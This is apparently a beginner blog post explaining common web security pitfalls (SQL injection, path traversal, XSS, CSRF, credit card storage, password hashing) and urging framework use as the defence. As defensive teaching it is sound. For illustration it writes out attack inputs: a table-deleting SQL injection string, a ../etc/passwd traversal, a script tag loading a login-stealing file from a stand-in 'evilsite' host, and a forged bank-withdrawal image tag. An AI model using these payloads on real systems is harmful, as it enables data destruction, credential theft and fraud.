When it comes to web application security, there are a class of things that every web developer should know. Trust me, you need to learn these and you’ll use them on every project you do. Interviewers ask about this stuff, so learn about them and how to handle them in whatever language you’re using.

Locks! So many locks!

SSL - Secure Sockets Layer

This is one of the basic building blocks of the modern web.

The Problem

All traffic on the internet is, by default, unencrypted. That means any one can read anything as it travels through the internet and, more importantly, over most public WiFi signals.

The Solution

There is a way to scramble all communication between your server and your user’s browser and that’s by using Secure Sockets Layer, or SSL. SSL is something that has been added onto standard HTTP and is signified by web addresses that start with https:// .

To use it on your own site, you’ll need to buy an SSL certificate, but they can be a little complicated to install the first time you do it.

But do you really need it if you’re not handing sensitive information like credit cards and user’s addresses? Short answer is, yes. As I said above, most public access points aren’t encrypted and if your site is also not encrypted, that means that all information is flying over the radio waves for everyone to see. If your site isn’t using SSL, you might as well assume that all passwords and logins are public knowledge.

Most hosting providers have step by step instructions for getting an SSL certificate for your site. If you have any kind of “real” application that you want to run, plan on doing this.

If you have logins, use SSL.

SQL Injection

You can get a good run down on this on Wikipedia, but at its core, it’s about taking something that the user enters into your application and using in a database call without checking to see if they’re doing anything sneaky.

The Problem

The SQL language that most databases use, like MySQL, is vulnerable in a number of ways if data entered by a user is not handled properly. This can sometimes be figured out by accident, but it’s most often crafted by an attacker to do something malicious.

Imagine you have the following SQL statement in a Ruby program:

query = "SELECT * FROM USERS WHERE last_name='" + input.last_name + "';"

If the user filled in the last_name field on a web form as “White”, then the resulting SQL would be:

SELECT * FROM USERS WHERE last_name='White';

Which would be fine. But what if the user was searching for “O’Donnell”?

SELECT * FROM USERS WHERE last_name='O'Donnell';

Due to the quotes not matching up, this will throw an error and crash your application. Bad news.

Here’s the worse news: Nothing would stop a user from entering ';DELETE FROM USERS WHERE '1'='1 , which would give us this:

SELECT * FROM USERS WHERE last_name='';DELETE FROM USERS WHERE '1'='1';

And delete our entire database.

Solution

I think the easiest solution to this is Don’t build your SQL statements. As a beginner, you should be using the ORM that’s built into your web framework at all times. The biggest security problems come up when you’re crossing from one language into another (like Ruby to SQL) and there’s always a lot you have to worry about. Using the framework lets you use all the work from hundreds of other people that already came before you and know what they’re doing.

Use your framework’s ORM and don’t build SQL yourself.

File Path Injection

Here’s another injection problem, but this one happens when you’re working in the file system. I just solved a problem like this for one of my students today.

Problem

There may be times when you want to save a file in your application or allow the user to load a file in the application. You could take the file name from the user with something like this:

 New File PDF
  Another XLS

And then open it to send its contents to the user:

file = File.open('/var/www/files/' + + params[:filename])

You might think you’re safe here because the files are explicitly listed in the select box. But I could submit anything to this application by editing the HTML in Chrome or any other browser before submitting it. If I change filename to ../../../../etc/passwd and if the application isn’t handling the file paths properly, it would send me back the password file for the server. I could put in other paths to grab all of your source code or even your database.

Solution

How to prevent this? First, make sure you really need to do something like this. There are almost always other ways to handle files rather than giving users direct access to the filenames.

Otherwise, verify all inputs when asking for filenames. If you find a ../ in any filename you get back, the user is being malicious and you should abort the execution and send back an error message. You can also check the filename against all the files that are in the directory you are serving files from. If it doesn’t exactly match one of the filenames, then something is wrong.

There are many different ways to handle this and to find what you need for your language, search Google for file path injection <your language> .

Check filenames submitted from the user before blindly doing anything with the file.

PCI Data Security Standards (Storing Credit Card Numbers)

There is an industry standard called PCI-DSS that defines how a retailer should store and handle credit card numbers. Breaking the rules can get your merchant account shut down and make you unable to take credit cards on your site, let alone set you up to be hacked and all of your customers’ data stolen.

The Problem

Many developers think that if their database has a password, then everything stored in that database is safe from prying eyes. This is very far from the truth. If a hacker is able to get on your servers, through your fault or not, everything in your database is potentially viewable by them.

For this reason, and because of a large number of security breaches over the years, the credit card companies started the Payment Card Industry Data Security Standard (PCI DSS). This is a laundry list of security precautions–both in the program and physically at whatever data center the app is running–everyone has to take if they want to store credit card information. You also have to submit to regular audits of both your physical location and your website’s and network’s security. Needless to say, it’s a pain in the ass.

The Solution

Don’t store credit card information in your application.

This might seem out of the question for a lot of applications, but it’s really not. There are a number of third party payment processors you can use to handle these kinds of payment details for you. The most famous is PayPal, but you could also use Stripe or a number of other companies. The key is, outsource this stuff. You’ll be paying a little bit in fees, but the penalty for trying to do it yourself and failing could be jail time.

Let a payment processor store your customers’ credit card details.

XSS - Cross Site Scripting

Cross Site Scripting is when an attacker is able to put JavaScript on your site that is designed to steal information from your users and send it to the attacker’s database.

The Problem

In most web applications, we’re looking to take input from the user of the application and then show it back to them in some useful way. Whether that’s a status update, a picture or a blog post comment, if our app doesn’t do some type of interaction, it’s kind of worthless.

Well, not everyone out there plays nice. If I’m taking user input and putting it right into my HTML page, a user could just as easily add HTML to the input.

Welcome back, <?php echo $name ?>.

If $name here is Joe , then this will just print Welcome back, Joe. and everyone will be happy.

But if $name is Joe<script src="//evilsite.com/steal_login.js"> , now we’ve got some trouble. Since there’s a script tag in the input, if we print that right out to the browser, the browser will load that JavaScript file from the other site. And since JavaScript has full control over all of the other HTML, an attacker could rewrite the site with their own content or redirect all login forms to their own server.

This used to be a big problem for banks back in the day. Someone would rewrite their login page to send off to an attacker’s server. When the attacker got the login and password information, they would login, change the password and proceed to send all of account’s money offshore.

The main way around this is to “sanitize” everything a user submits, effectively removing all HTML from input that you don’t want shown.

The Solution

Don’t try to sanitize output yourself.

Again, there are so many angles to this and so many ways to mess this up that it’s best to leave it up to a framework. All the major frameworks out there have a templating language included to help you build your HTML pages. Use them. Again, it’s always best to use an already built solution this kind of problem because it’s very hard to do yourself and hope you covered every angle. It’s just not worth the time since others have already figured it out and given you the tools to take care of it.

Use the framework’s templating language and make sure everything’s sanitized.

CSRF - Cross Site Request Forgery

Didn’t we already talk about cross site stuff? Yes, but this is a little different than cross site scripting.

The Problem

Cross Site Request Forgery is when a site sends a request to another website, using the victim’s own browser cookies to fake authorized access.

For example, I could build a website that included an image tag that contained a URL that performed an action on another website. I think the example from Wikipedia explains it best.

The attack works by including a link or script in a page that accesses a site to which the user is known to have been authenticated. For example, one user, Alice, might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Alice’s bank’s website, e.g.,

Mallory: Hello Alice! Look here:

<img src="https://bank.example.com/withdraw?account=Alice&amount=1000000&for=Mallory">

If Alice’s bank keeps her authentication information in a cookie, and if the cookie hasn’t expired, then the attempt by Alice’s browser to load the image will submit the withdrawal form with her cookie, thus authorizing a transaction without Alice’s approval.

The Solution

Again, the framework. Every framework out there should have what are called CSRF Tokens for submitting forms. This is the best and easiest way to handle these types of attacks. For most frameworks, you just turn that on and the framework handles all the token creation, saving, and checking for you.

Use a framework!

Password Handling

Nearly every application gives the ability to login in one way or another so storing a password is a very common thing to do.

The Problem

As stated above, you can’t assume your database is secure in any way. If you store passwords in your database and an attacker is able to get it, they would have the login information for every single user on the site, which would also mean they have full access to everything in your application.

The Solution

Don’t store passwords in your database. This may sound strange to those who don’t know about hashing passwords, but most applications on the internet have no idea what your password is and if they do they are horribly insecure.

How could they not know what your password is? A secure application doesn’t store your password but will instead store a hash of your password. You can read a lot more about password hashing here. A hashing function is basically a repeatable way to turn some characters into gibberish without the ability to turn the gibberish back into the original words.

When you change your password, the application will put your password through a hash function and get a random string of gibberish back out and store that. There’s no way to reverse that back to the original password, so how do you login? Well, when you put in your password to login, the application does that hash again and compares the resulting gibberish to what it already has. If they match, you’re good to go.

Of course, the real answer here is to, again, use your framework. Any good framework already has this built in (or has a library you can install for it). Other people have already figured this out, so just use what they and hundreds for others have built for you.

Use your framework when storing “passwords” in the database.

Well, that was a lot of stuff to think about, but I hope the main thrust is clear: Learn and use a framework. I think at this point, with all the dangers that lurk out there and how much you have to learn off the bat, using a framework is required. If you’re not doing super custom stuff, there’s really no excuse not to. Pick a framework and learn it and most of this stuff stops being a problem.

If you have any questions at all about this, just let me know and I’ll answer them for you.

References